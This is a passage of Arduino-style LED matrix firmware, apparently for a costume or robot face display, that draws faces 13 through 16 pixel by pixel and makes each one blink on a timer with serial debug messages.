\n strip.setPixelColor(84, color); \n strip.setPixelColor(85, color); \n strip.setPixelColor(86, color); \n strip.setPixelColor(87, color); \n strip.setPixelColor(92, color); \n strip.setPixelColor(93, color); \n strip.setPixelColor(94, color); \n strip.setPixelColor(193, color); \n strip.setPixelColor(194, color); \n strip.setPixelColor(195, color); \n strip.setPixelColor(200, color); \n strip.setPixelColor(201, color); \n strip.setPixelColor(202, color); \n strip.setPixelColor(203, color); \n strip.setPixelColor(204, color); \n strip.setPixelColor(208, color); \n strip.setPixelColor(209, color); \n strip.setPixelColor(211, color); \n strip.setPixelColor(212, color); \n strip.setPixelColor(220, color); \n strip.setPixelColor(270, color); \n strip.setPixelColor(271, color); \n strip.setPixelColor(278, color); \n strip.setPixelColor(279, color); \n strip.setPixelColor(285, color); \n strip.setPixelColor(286, color); \n strip.setPixelColor(287, color); \n strip.setPixelColor(293, color); \n strip.setPixelColor(294, color); \n strip.setPixelColor(300, color); \n strip.setPixelColor(301, color); \n strip.setPixelColor(302, color); \n strip.setPixelColor(308, color); \n strip.setPixelColor(309, color); \n strip.setPixelColor(315, color); \n strip.setPixelColor(316, color); \n strip.setPixelColor(317, color); \n strip.setPixelColor(323, color); \n strip.setPixelColor(324, color); \n strip.setPixelColor(392, color); \n strip.setPixelColor(400, color); \n strip.setPixelColor(408, color); \n strip.setPixelColor(409, color); \n strip.setPixelColor(416, color); \n strip.setPixelColor(417, color); \n strip.setPixelColor(424, color); \n strip.setPixelColor(425, color); \n strip.setPixelColor(426, color); \n strip.setPixelColor(433, color); \n strip.setPixelColor(434, color); \n strip.setPixelColor(441, color); \n strip.setPixelColor(442, color); \n strip.setPixelColor(443, color); \n strip.setPixelColor(450, color); \n strip.setPixelColor(451, color); \n strip.show(); \/\/ Turn on the LEDs\n \/\/ Setting FaceRunningCheck variables for smoother changes\n Face001RunningCheck = false; \/\/ Face001\n Face002RunningCheck = false; \/\/ Face002\n Face003RunningCheck = false; \/\/ Face003\n Face004RunningCheck = false; \/\/ Face004\n Face005RunningCheck = false; \/\/ Face005\n Face006RunningCheck = false; \/\/ Face006 \n Face007RunningCheck = false; \/\/ Face007\n Face008RunningCheck = false; \/\/ Face008\n Face009RunningCheck = false; \/\/ Face009\n Face010RunningCheck = false; \/\/ Face010\n Face011RunningCheck = false; \/\/ Face011\n Face012RunningCheck = false; \/\/ Face012\n Face013RunningCheck = true; \/\/ Face013 - this face\n Face014RunningCheck = false; \/\/ Face014\n Face015RunningCheck = false; \/\/ Face015\n Face016RunningCheck = false; \/\/ Face016\n Face017RunningCheck = false; \/\/ Face017\n Face018RunningCheck = false; \/\/ Face018\n Face019RunningCheck = false; \/\/ Face019\n Face020RunningCheck = false; \/\/ Face020\n Face021RunningCheck = false; \/\/ Face021\n Face022RunningCheck = false; \/\/ Face022\n Face023RunningCheck = false; \/\/ Face023\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face013BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face013 LEDs ON\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(75, color); \n strip.setPixelColor(79, color); \n strip.setPixelColor(83, color); \n strip.setPixelColor(84, color); \n strip.setPixelColor(85, color); \n strip.setPixelColor(86, color); \n strip.setPixelColor(87, color); \n strip.setPixelColor(92, color); \n strip.setPixelColor(93, color); \n strip.setPixelColor(94, color); \n strip.setPixelColor(193, color); \n strip.setPixelColor(194, color); \n strip.setPixelColor(195, color); \n strip.setPixelColor(200, color); \n strip.setPixelColor(201, color); \n strip.setPixelColor(202, color); \n strip.setPixelColor(203, color); \n strip.setPixelColor(204, color); \n strip.setPixelColor(208, color); \n strip.setPixelColor(209, color); \n strip.setPixelColor(211, color); \n strip.setPixelColor(212, color); \n strip.setPixelColor(220, color); \n strip.setPixelColor(270, color); \n strip.setPixelColor(271, color); \n strip.setPixelColor(278, color); \n strip.setPixelColor(279, color); \n strip.setPixelColor(285, color); \n strip.setPixelColor(286, color); \n strip.setPixelColor(287, color); \n strip.setPixelColor(293, color); \n strip.setPixelColor(294, color); \n strip.setPixelColor(300, color); \n strip.setPixelColor(301, color); \n strip.setPixelColor(302, color); \n strip.setPixelColor(308, color); \n strip.setPixelColor(309, color); \n strip.setPixelColor(315, color); \n strip.setPixelColor(316, color); \n strip.setPixelColor(317, color); \n strip.setPixelColor(323, color); \n strip.setPixelColor(324, color); \n strip.setPixelColor(392, color); \n strip.setPixelColor(400, color); \n strip.setPixelColor(408, color); \n strip.setPixelColor(409, color); \n strip.setPixelColor(416, color); \n strip.setPixelColor(417, color); \n strip.setPixelColor(424, color); \n strip.setPixelColor(425, color); \n strip.setPixelColor(426, color); \n strip.setPixelColor(433, color); \n strip.setPixelColor(434, color); \n strip.setPixelColor(441, color); \n strip.setPixelColor(442, color); \n strip.setPixelColor(443, color); \n strip.setPixelColor(450, color); \n strip.setPixelColor(451, color); \n strip.show(); \/\/ Turn on the LEDs\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face013BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face013 LEDs OFF - Blink\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n strip.show(); \/\/ Turn off the LEDs \n }\n else\n {\n Face013BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face014 ---------------------------------------------------------------------------------------------\nvoid Face014()\n{\n if (Face014RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(30, color); \n strip.setPixelColor(31, color); \n strip.setPixelColor(37, color); \n strip.setPixelColor(38, color); \n strip.setPixelColor(45, color); \n strip.setPixelColor(46, color); \n strip.setPixelColor(62, color); \n strip.setPixelColor(63, color); \n strip.setPixelColor(69, color); \n strip.setPixelColor(70, color); \n strip.setPixelColor(71, color); \n strip.setPixelColor(76, color); \n strip.setPixelColor(77, color); \n strip.setPixelColor(78, color); \n strip.setPixelColor(84, color); \n strip.setPixelColor(85, color); \n strip.setPixelColor(92, color); \n strip.setPixelColor(93, color); \n strip.setPixelColor(100, color); \n strip.setPixelColor(101, color); \n strip.setPixelColor(102, color); \n strip.setPixelColor(109, color); \n strip.setPixelColor(110, color); \n strip.setPixelColor(111, color); \n strip.setPixelColor(118, color); \n strip.setPixelColor(119, color); \n strip.setPixelColor(144, color); \n strip.setPixelColor(152, color); \n strip.setPixelColor(153, color); \n strip.setPixelColor(154, color); \n strip.setPixelColor(161, color); \n strip.setPixelColor(162, color); \n strip.setPixelColor(163, color); \n strip.setPixelColor(170, color); \n strip.setPixelColor(171, color); \n strip.setPixelColor(179, color); \n strip.setPixelColor(180, color); \n strip.setPixelColor(184, color); \n strip.setPixelColor(185, color); \n strip.setPixelColor(187, color); \n strip.setPixelColor(188, color); \n strip.setPixelColor(193, color); \n strip.setPixelColor(194, color); \n strip.setPixelColor(195, color); \n strip.setPixelColor(196, color); \n strip.setPixelColor(202, color); \n strip.setPixelColor(203, color); \n strip.setPixelColor(204, color); \n strip.setPixelColor(211, color); \n strip.setPixelColor(212, color); \n strip.setPixelColor(219, color); \n strip.setPixelColor(220, color); \n strip.setPixelColor(226, color); \n strip.setPixelColor(227, color); \n strip.setPixelColor(232, color); \n strip.setPixelColor(233, color); \n strip.setPixelColor(234, color); \n strip.setPixelColor(235, color); \n strip.setPixelColor(240, color); \n strip.setPixelColor(241, color); \n strip.setPixelColor(242, color); \n strip.setPixelColor(270, color); \n strip.setPixelColor(271, color); \n strip.setPixelColor(277, color); \n strip.setPixelColor(278, color); \n strip.setPixelColor(279, color); \n strip.setPixelColor(285, color); \n strip.setPixelColor(286, color); \n strip.setPixelColor(292, color); \n strip.setPixelColor(293, color); \n strip.setPixelColor(300, color); \n strip.setPixelColor(301, color); \n strip.setPixelColor(308, color); \n strip.setPixelColor(309, color); \n strip.setPixelColor(310, color); \n strip.setPixelColor(316, color); \n strip.setPixelColor(317, color); \n strip.setPixelColor(318, color); \n strip.setPixelColor(319, color); \n strip.setPixelColor(324, color); \n strip.setPixelColor(325, color); \n strip.setPixelColor(327, color); \n strip.setPixelColor(332, color); \n strip.setPixelColor(333, color); \n strip.setPixelColor(341, color); \n strip.setPixelColor(342, color); \n strip.setPixelColor(349, color); \n strip.setPixelColor(350, color); \n strip.setPixelColor(351, color); \n strip.setPixelColor(358, color); \n strip.setPixelColor(359, color); \n strip.setPixelColor(392, color); \n strip.setPixelColor(393, color); \n strip.setPixelColor(394, color); \n strip.setPixelColor(400, color); \n strip.setPixelColor(401, color); \n strip.setPixelColor(402, color); \n strip.setPixelColor(403, color); \n strip.setPixelColor(410, color); \n strip.setPixelColor(411, color); \n strip.setPixelColor(412, color); \n strip.setPixelColor(419, color); \n strip.setPixelColor(420, color); \n strip.setPixelColor(427, color); \n strip.setPixelColor(428, color); \n strip.setPixelColor(434, color); \n strip.setPixelColor(435, color); \n strip.setPixelColor(436, color); \n strip.setPixelColor(441, color); \n strip.setPixelColor(442, color); \n strip.setPixelColor(443, color); \n strip.setPixelColor(448, color); \n strip.setPixelColor(449, color); \n strip.setPixelColor(450, color); \n strip.setPixelColor(466, color); \n strip.setPixelColor(467, color); \n strip.setPixelColor(474, color); \n strip.setPixelColor(475, color); \n strip.setPixelColor(480, color); \n strip.setPixelColor(481, color); \n strip.setPixelColor(482, color); \n strip.setPixelColor(488, color);\n strip.show(); \/\/ Turn on the LEDs\n \/\/ Setting FaceRunningCheck variables for smoother changes\n Face001RunningCheck = false; \/\/ Face001\n Face002RunningCheck = false; \/\/ Face002\n Face003RunningCheck = false; \/\/ Face003\n Face004RunningCheck = false; \/\/ Face004\n Face005RunningCheck = false; \/\/ Face005\n Face006RunningCheck = false; \/\/ Face006 \n Face007RunningCheck = false; \/\/ Face007\n Face008RunningCheck = false; \/\/ Face008\n Face009RunningCheck = false; \/\/ Face009\n Face010RunningCheck = false; \/\/ Face010\n Face011RunningCheck = false; \/\/ Face011\n Face012RunningCheck = false; \/\/ Face012\n Face013RunningCheck = false; \/\/ Face013\n Face014RunningCheck = true; \/\/ Face014 - this face\n Face015RunningCheck = false; \/\/ Face015\n Face016RunningCheck = false; \/\/ Face016\n Face017RunningCheck = false; \/\/ Face017\n Face018RunningCheck = false; \/\/ Face018\n Face019RunningCheck = false; \/\/ Face019\n Face020RunningCheck = false; \/\/ Face020\n Face021RunningCheck = false; \/\/ Face021\n Face022RunningCheck = false; \/\/ Face022\n Face023RunningCheck = false; \/\/ Face023\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face014BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face014 LEDs ON\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(30, color); \n strip.setPixelColor(31, color); \n strip.setPixelColor(37, color); \n strip.setPixelColor(38, color); \n strip.setPixelColor(45, color); \n strip.setPixelColor(46, color); \n strip.setPixelColor(62, color); \n strip.setPixelColor(63, color); \n strip.setPixelColor(69, color); \n strip.setPixelColor(70, color); \n strip.setPixelColor(71, color); \n strip.setPixelColor(76, color); \n strip.setPixelColor(77, color); \n strip.setPixelColor(78, color); \n strip.setPixelColor(84, color); \n strip.setPixelColor(85, color); \n strip.setPixelColor(92, color); \n strip.setPixelColor(93, color); \n strip.setPixelColor(100, color); \n strip.setPixelColor(101, color); \n strip.setPixelColor(102, color); \n strip.setPixelColor(109, color); \n strip.setPixelColor(110, color); \n strip.setPixelColor(111, color); \n strip.setPixelColor(118, color); \n strip.setPixelColor(119, color); \n strip.setPixelColor(144, color); \n strip.setPixelColor(152, color); \n strip.setPixelColor(153, color); \n strip.setPixelColor(154, color); \n strip.setPixelColor(161, color); \n strip.setPixelColor(162, color); \n strip.setPixelColor(163, color); \n strip.setPixelColor(170, color); \n strip.setPixelColor(171, color); \n strip.setPixelColor(179, color); \n strip.setPixelColor(180, color); \n strip.setPixelColor(184, color); \n strip.setPixelColor(185, color); \n strip.setPixelColor(187, color); \n strip.setPixelColor(188, color); \n strip.setPixelColor(193, color); \n strip.setPixelColor(194, color); \n strip.setPixelColor(195, color); \n strip.setPixelColor(196, color); \n strip.setPixelColor(202, color); \n strip.setPixelColor(203, color); \n strip.setPixelColor(204, color); \n strip.setPixelColor(211, color); \n strip.setPixelColor(212, color); \n strip.setPixelColor(219, color); \n strip.setPixelColor(220, color); \n strip.setPixelColor(226, color); \n strip.setPixelColor(227, color); \n strip.setPixelColor(232, color); \n strip.setPixelColor(233, color); \n strip.setPixelColor(234, color); \n strip.setPixelColor(235, color); \n strip.setPixelColor(240, color); \n strip.setPixelColor(241, color); \n strip.setPixelColor(242, color); \n strip.setPixelColor(270, color); \n strip.setPixelColor(271, color); \n strip.setPixelColor(277, color); \n strip.setPixelColor(278, color); \n strip.setPixelColor(279, color); \n strip.setPixelColor(285, color); \n strip.setPixelColor(286, color); \n strip.setPixelColor(292, color); \n strip.setPixelColor(293, color); \n strip.setPixelColor(300, color); \n strip.setPixelColor(301, color); \n strip.setPixelColor(308, color); \n strip.setPixelColor(309, color); \n strip.setPixelColor(310, color); \n strip.setPixelColor(316, color); \n strip.setPixelColor(317, color); \n strip.setPixelColor(318, color); \n strip.setPixelColor(319, color); \n strip.setPixelColor(324, color); \n strip.setPixelColor(325, color); \n strip.setPixelColor(327, color); \n strip.setPixelColor(332, color); \n strip.setPixelColor(333, color); \n strip.setPixelColor(341, color); \n strip.setPixelColor(342, color); \n strip.setPixelColor(349, color); \n strip.setPixelColor(350, color); \n strip.setPixelColor(351, color); \n strip.setPixelColor(358, color); \n strip.setPixelColor(359, color); \n strip.setPixelColor(392, color); \n strip.setPixelColor(393, color); \n strip.setPixelColor(394, color); \n strip.setPixelColor(400, color); \n strip.setPixelColor(401, color); \n strip.setPixelColor(402, color); \n strip.setPixelColor(403, color); \n strip.setPixelColor(410, color); \n strip.setPixelColor(411, color); \n strip.setPixelColor(412, color); \n strip.setPixelColor(419, color); \n strip.setPixelColor(420, color); \n strip.setPixelColor(427, color); \n strip.setPixelColor(428, color); \n strip.setPixelColor(434, color); \n strip.setPixelColor(435, color); \n strip.setPixelColor(436, color); \n strip.setPixelColor(441, color); \n strip.setPixelColor(442, color); \n strip.setPixelColor(443, color); \n strip.setPixelColor(448, color); \n strip.setPixelColor(449, color); \n strip.setPixelColor(450, color); \n strip.setPixelColor(466, color); \n strip.setPixelColor(467, color); \n strip.setPixelColor(474, color); \n strip.setPixelColor(475, color); \n strip.setPixelColor(480, color); \n strip.setPixelColor(481, color); \n strip.setPixelColor(482, color); \n strip.setPixelColor(488, color);\n strip.show(); \/\/ Turn on the LEDs\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face014BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face014 LEDs OFF - Blink\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n strip.show(); \/\/ Turn off the LEDs \n }\n else\n {\n Face014BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face015 ---------------------------------------------------------------------------------------------\nvoid Face015()\n{\n if (Face015RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(14, color); \n strip.setPixelColor(15, color); \n strip.setPixelColor(22, color); \n strip.setPixelColor(23, color); \n strip.setPixelColor(47, color); \n strip.setPixelColor(55, color); \n strip.setPixelColor(62, color); \n strip.setPixelColor(63, color); \n strip.setPixelColor(70, color); \n strip.setPixelColor(71, color); \n strip.setPixelColor(78, color); \n strip.setPixelColor(79, color); \n strip.setPixelColor(86, color); \n strip.setPixelColor(87, color); \n strip.setPixelColor(94, color); \n strip.setPixelColor(95, color); \n strip.setPixelColor(102, color); \n strip.setPixelColor(103, color); \n strip.setPixelColor(110, color); \n strip.setPixelColor(111, color); \n strip.setPixelColor(118, color); \n strip.setPixelColor(119, color); \n strip.setPixelColor(126, color); \n strip.setPixelColor(127, color); \n strip.setPixelColor(136, color); \n strip.setPixelColor(144, color); \n strip.setPixelColor(184, color); \n strip.setPixelColor(192, color); \n strip.setPixelColor(200, color); \n strip.setPixelColor(208, color); \n strip.setPixelColor(216, color); \n strip.setPixelColor(224, color); \n strip.setPixelColor(232, color); \n strip.setPixelColor(240, color); \n strip.setPixelColor(248, color); \n strip.setPixelColor(262, color); \n strip.setPixelColor(263, color); \n strip.setPixelColor(270, color); \n strip.setPixelColor(271, color); \n strip.setPixelColor(278, color); \n strip.setPixelColor(279, color); \n strip.setPixelColor(286, color); \n strip.setPixelColor(287, color); \n strip.setPixelColor(294, color); \n strip.setPixelColor(295, color); \n strip.setPixelColor(302, color); \n strip.setPixelColor(303, color); \n strip.setPixelColor(310, color); \n strip.setPixelColor(311, color); \n strip.setPixelColor(318, color); \n strip.setPixelColor(319, color); \n strip.setPixelColor(326, color); \n strip.setPixelColor(327, color); \n strip.setPixelColor(335, color); \n strip.setPixelColor(343, color); \n strip.setPixelColor(366, color); \n strip.setPixelColor(367, color); \n strip.setPixelColor(374, color); \n strip.setPixelColor(375, color); \n strip.setPixelColor(384, color); \n strip.setPixelColor(392, color); \n strip.setPixelColor(400, color); \n strip.setPixelColor(408, color); \n strip.setPixelColor(416, color); \n strip.setPixelColor(424, color); \n strip.setPixelColor(432, color); \n strip.setPixelColor(440, color); \n strip.setPixelColor(448, color); \n strip.setPixelColor(488, color); \n strip.setPixelColor(496, color);\n strip.show(); \/\/ Turn on the LEDs\n \/\/ Setting FaceRunningCheck variables for smoother changes\n Face001RunningCheck = false; \/\/ Face001\n Face002RunningCheck = false; \/\/ Face002\n Face003RunningCheck = false; \/\/ Face003\n Face004RunningCheck = false; \/\/ Face004\n Face005RunningCheck = false; \/\/ Face005\n Face006RunningCheck = false; \/\/ Face006 \n Face007RunningCheck = false; \/\/ Face007\n Face008RunningCheck = false; \/\/ Face008\n Face009RunningCheck = false; \/\/ Face009\n Face010RunningCheck = false; \/\/ Face010\n Face011RunningCheck = false; \/\/ Face011\n Face012RunningCheck = false; \/\/ Face012\n Face013RunningCheck = false; \/\/ Face013\n Face014RunningCheck = false; \/\/ Face014\n Face015RunningCheck = true; \/\/ Face015 - this face\n Face016RunningCheck = false; \/\/ Face016\n Face017RunningCheck = false; \/\/ Face017\n Face018RunningCheck = false; \/\/ Face018\n Face019RunningCheck = false; \/\/ Face019\n Face020RunningCheck = false; \/\/ Face020\n Face021RunningCheck = false; \/\/ Face021\n Face022RunningCheck = false; \/\/ Face022\n Face023RunningCheck = false; \/\/ Face023\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face015BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face015 LEDs ON\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(14, color); \n strip.setPixelColor(15, color); \n strip.setPixelColor(22, color); \n strip.setPixelColor(23, color); \n strip.setPixelColor(47, color); \n strip.setPixelColor(55, color); \n strip.setPixelColor(62, color); \n strip.setPixelColor(63, color); \n strip.setPixelColor(70, color); \n strip.setPixelColor(71, color); \n strip.setPixelColor(78, color); \n strip.setPixelColor(79, color); \n strip.setPixelColor(86, color); \n strip.setPixelColor(87, color); \n strip.setPixelColor(94, color); \n strip.setPixelColor(95, color); \n strip.setPixelColor(102, color); \n strip.setPixelColor(103, color); \n strip.setPixelColor(110, color); \n strip.setPixelColor(111, color); \n strip.setPixelColor(118, color); \n strip.setPixelColor(119, color); \n strip.setPixelColor(126, color); \n strip.setPixelColor(127, color); \n strip.setPixelColor(136, color); \n strip.setPixelColor(144, color); \n strip.setPixelColor(184, color); \n strip.setPixelColor(192, color); \n strip.setPixelColor(200, color); \n strip.setPixelColor(208, color); \n strip.setPixelColor(216, color); \n strip.setPixelColor(224, color); \n strip.setPixelColor(232, color); \n strip.setPixelColor(240, color); \n strip.setPixelColor(248, color); \n strip.setPixelColor(262, color); \n strip.setPixelColor(263, color); \n strip.setPixelColor(270, color); \n strip.setPixelColor(271, color); \n strip.setPixelColor(278, color); \n strip.setPixelColor(279, color); \n strip.setPixelColor(286, color); \n strip.setPixelColor(287, color); \n strip.setPixelColor(294, color); \n strip.setPixelColor(295, color); \n strip.setPixelColor(302, color); \n strip.setPixelColor(303, color); \n strip.setPixelColor(310, color); \n strip.setPixelColor(311, color); \n strip.setPixelColor(318, color); \n strip.setPixelColor(319, color); \n strip.setPixelColor(326, color); \n strip.setPixelColor(327, color); \n strip.setPixelColor(335, color); \n strip.setPixelColor(343, color); \n strip.setPixelColor(366, color); \n strip.setPixelColor(367, color); \n strip.setPixelColor(374, color); \n strip.setPixelColor(375, color); \n strip.setPixelColor(384, color); \n strip.setPixelColor(392, color); \n strip.setPixelColor(400, color); \n strip.setPixelColor(408, color); \n strip.setPixelColor(416, color); \n strip.setPixelColor(424, color); \n strip.setPixelColor(432, color); \n strip.setPixelColor(440, color); \n strip.setPixelColor(448, color); \n strip.setPixelColor(488, color); \n strip.setPixelColor(496, color);\n \n strip.show(); \/\/ Turn on the LEDs\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face015BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face015 LEDs OFF - Blink\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n strip.show(); \/\/ Turn off the LEDs \n }\n else\n {\n Face015BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face016 ---------------------------------------------------------------------------------------------\nvoid Face016()\n{\n if (Face016RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(45, color); \n strip.setPixelColor(53, color); \n strip.setPixelColor(54, color); \n strip.setPixelColor(55, color); \n strip.setPixelColor(62, color); \n strip.setPixelColor(63, color); \n strip.setPixelColor(68, color); \n strip.setPixelColor(69, color); \n strip.setPixelColor(70, color); \n strip.setPixelColor(71, color); \n strip.setPixelColor(76, color); \n strip.setPixelColor(77, color); \n strip.setPixelColor(79, color); \n strip.setPixelColor(87, color); \n strip.setPixelColor(95, color); \n strip.setPixelColor(168, color); \n strip.setPixelColor(169, color); \n strip.setPixelColor(176, color); \n strip.setPixelColor(177, color); \n strip.setPixelColor(184, color); \n strip.setPixelColor(192, color); \n strip.setPixelColor(193, color); \n strip.setPixelColor(194, color); \n strip.setPixelColor(201, color); \n strip.setPixelColor(201, color); \n strip.setPixelColor(295, color); \n strip.setPixelColor(303, color); \n strip.setPixelColor(308, color); \n strip.setPixelColor(309, color); \n strip.setPixelColor(311, color); \n strip.setPixelColor(316, color); \n strip.setPixelColor(317, color); \n strip.setPixelColor(318, color); \n strip.setPixelColor(319, color); \n strip.setPixelColor(326, color); \n strip.setPixelColor(327, color); \n strip.setPixelColor(333, color); \n strip.setPixelColor(334, color); \n strip.setPixelColor(335, color); \n strip.setPixelColor(341, color); \n strip.setPixelColor(433, color); \n strip.setPixelColor(434, color); \n strip.setPixelColor(440, color); \n strip.setPixelColor(441, color); \n strip.setPixelColor(442, color); \n strip.setPixelColor(448, color); \n strip.setPixelColor(456, color); \n strip.setPixelColor(457, color); \n strip.setPixelColor(464, color); \n strip.setPixelColor(465, color);\n strip.show(); \/\/ Turn on the LEDs\n \/\/ Setting FaceRunningCheck variables for smoother changes\n Face001RunningCheck = false; \/\/ Face001\n Face002RunningCheck = false; \/\/ Face002\n Face003RunningCheck = false; \/\/ Face003\n Face004RunningCheck = false; \/\/ Face004\n Face005RunningCheck = false; \/\/ Face005\n Face006RunningCheck = false; \/\/ Face006 \n Face007RunningCheck = false; \/\/ Face007\n Face008RunningCheck = false; \/\/ Face008\n Face009RunningCheck = false; \/\/ Face009\n Face010RunningCheck = false; \/\/ Face010\n Face011RunningCheck = false; \/\/ Face011\n Face012RunningCheck = false; \/\/ Face012\n Face013RunningCheck = false; \/\/ Face013\n Face014RunningCheck = false; \/\/ Face014\n Face015RunningCheck = false; \/\/ Face015\n Face016RunningCheck = true; \/\/ Face016 - this face\n Face017RunningCheck = false; \/\/ Face017\n Face018RunningCheck = false; \/\/ Face018\n Face019RunningCheck = false; \/\/ Face019\n Face020RunningCheck = false; \/\/ Face020\n Face021RunningCheck = false; \/\/ Face021\n Face022RunningCheck = false; \/\/ Face022\n Face023RunningCheck = false; \/\/ Face023\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face016BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face016 LEDs ON\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(45, color); \n strip.setPixelColor(53, color); \n strip.setPixelColor(54, color); \n strip.setPixelColor(55, color); \n strip.setPixelColor(62, color); \n strip.setPixelColor(63, color); \n strip.setPixelColor(68, color); \n strip.setPixelColor(69, color); \n strip.setPixelColor(70, color); \n strip.setPixelColor(71, color); \n strip.setPixelColor(76, color); \n strip.setPixelColor(77, color); \n strip.setPixelColor(79, color); \n strip.setPixelColor(87, color); \n strip.setPixelColor(95, color); \n strip.setPixelColor(168, color); \n strip.setPixelColor(169, color); \n strip.setPixelColor(176, color); \n strip.setPixelColor(177, color); \n strip.setPixelColor(184, color); \n strip.setPixelColor(192, color); \n strip.setPixelColor(193, color); \n strip.setPixelColor(194, color); \n strip.setPixelColor(201, color); \n strip.setPixelColor(201, color); \n strip.setPixelColor(295, color); \n strip.setPixelColor(303, color); \n strip.setPixelColor(308, color); \n strip.setPixelColor(309, color); \n strip.setPixelColor(311, color); \n strip.setPixelColor(316, color); \n strip.setPixelColor(317, color); \n strip.setPixelColor(318, color); \n strip.setPixelColor(319, color); \n strip.setPixelColor(326, color); \n strip.setPixelColor(327, color); \n strip.setPixelColor(333, color); \n strip.setPixelColor(334, color); \n strip.setPixelColor(335, color); \n strip.setPixelColor(341, color); \n strip.setPixelColor(433, color); \n strip.setPixelColor(434, color); \n strip.setPixelColor(440, color); \n strip.setPixelColor(441, color); \n strip.setPixelColor(442, color); \n strip.setPixelColor(448, color); \n strip.setPixelColor(456, color); \n strip.setPixelColor(457, color); \n strip.setPixelColor(464, color); \n strip.setPixelColor(465, color);\n strip.show(); \/\/ Turn on the LEDs\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face016BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face016 LEDs OFF - Blink\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n strip.show(); \/\/ Turn off the LEDs \n }\n else\n {\n Face016BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face017 ---------------------------------------------------------------------------------------------\nvoid Face017()\n{\n if (Face017RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(103, color); \n strip.setPixelColor(209, color); \n strip.setPixelColor(210, color); \n strip.setPixelColor(216, color); \n strip.setPixelColor(217, color); \n strip.setPixelColor(224, color); \n strip.setPixelColor(287, color); \n 